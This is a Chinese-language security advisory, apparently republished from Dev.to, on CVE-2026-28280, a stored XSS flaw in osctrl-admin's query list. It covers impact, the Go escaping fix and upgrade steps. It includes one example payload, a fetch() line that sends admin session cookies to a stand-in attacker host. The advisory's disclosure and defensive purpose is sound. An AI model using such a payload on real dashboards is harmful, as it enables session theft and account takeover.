CVE-2026-28280:osctrl-admin 按需查询列表中的存储型跨站脚本(XSS)

发布: (2026年2月28日 GMT+8 10:40)
4 分钟阅读
原文: Dev.to

Source: Dev.to

漏洞概述

  • 漏洞编号: CVE-2026-28280
  • CWE 编号: CWE‑79(网页生成期间输入未正确中和)
  • CVSS v3.1 基础评分: 6.1(中等)
  • EPSS 评分: 0.00023
  • 发布时间: 2026‑02‑28
  • 攻击向量: 网络

osctrl‑admin 组件(osctrl 0.5.0 之前的版本)中存在存储型跨站脚本(XSS)漏洞。拥有低级 query 权限的已认证用户可以通过按需查询界面注入恶意 JavaScript。该负载会被存入后端数据库,并在管理仪表盘中渲染时未进行上下文感知的编码。当管理员查看查询历史时,脚本会执行,可能导致会话劫持或权限提升。

受影响版本

  • osctrl‑admin: 允许注入 HTML 标签或其他可执行的 JavaScript 负载。

恶意负载示例

fetch('https://attacker.example.com/steal?c='+document.cookie)

如果将其保存为查询,负载会原样存储,随后在管理员浏览查询列表时在其浏览器中执行。

源码中的修复措施

修复引入了针对查询显示的上下文感知输出编码。修改的简化摘录如下:

// Before (vulnerable)
fmt.Fprintf(w, "%s", query.Text)

// After (patched)
escaped := html.EscapeString(query.Text) // proper HTML escaping
fmt.Fprintf(w, "%s", escaped)

影响

  • 机密性: 高 – 攻击者可以窃取会话 Cookie 或其他敏感数据。
  • 完整性: 高 – 攻击者可以操纵管理员界面或注入进一步的恶意内容。
  • 可用性: 低 – 该漏洞不会直接影响服务的正常运行时间。

可利用性

  • 利用状态: 已有概念验证(PoC)。
  • 低权限已认证用户即可触发该漏洞,无需额外权限。

修复建议

  1. 升级至 osctrl v0.5.0 或更高版本。
  2. 拉取最新的 Docker 镜像或 osctrl v0.5.0 二进制文件,并重新部署 osctrl-admin 服务。
  3. 通过尝试保存包含 HTML 标签的查询(例如 **test**)来验证修复效果。标签应以文字形式显示,而不是被解释为 HTML。

其他加固建议

  • 对所有用户提供的数据进行 输入验证
  • 对在 HTML 环境中渲染的任何数据执行 输出编码
  • 遵循 最小权限原则:仅将 query 权限授予真正需要的用户。

参考资料

  • GitHub Advisory: GHSA‑4rv8‑5cmm‑2r22
  • NVD 条目: 漏洞详情与分析(链接至 NVD)
  • 厂商通告:(链接至厂商通告)
  • CVE‑2026‑28280 完整报告(可在厂商网站获取)
0 浏览
Back to Blog

相关文章

阅读更多 »

当工作成为心理健康风险时

markdown !Ravi Mishrahttps://media2.dev.to/dynamic/image/width=50,height=50,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fu...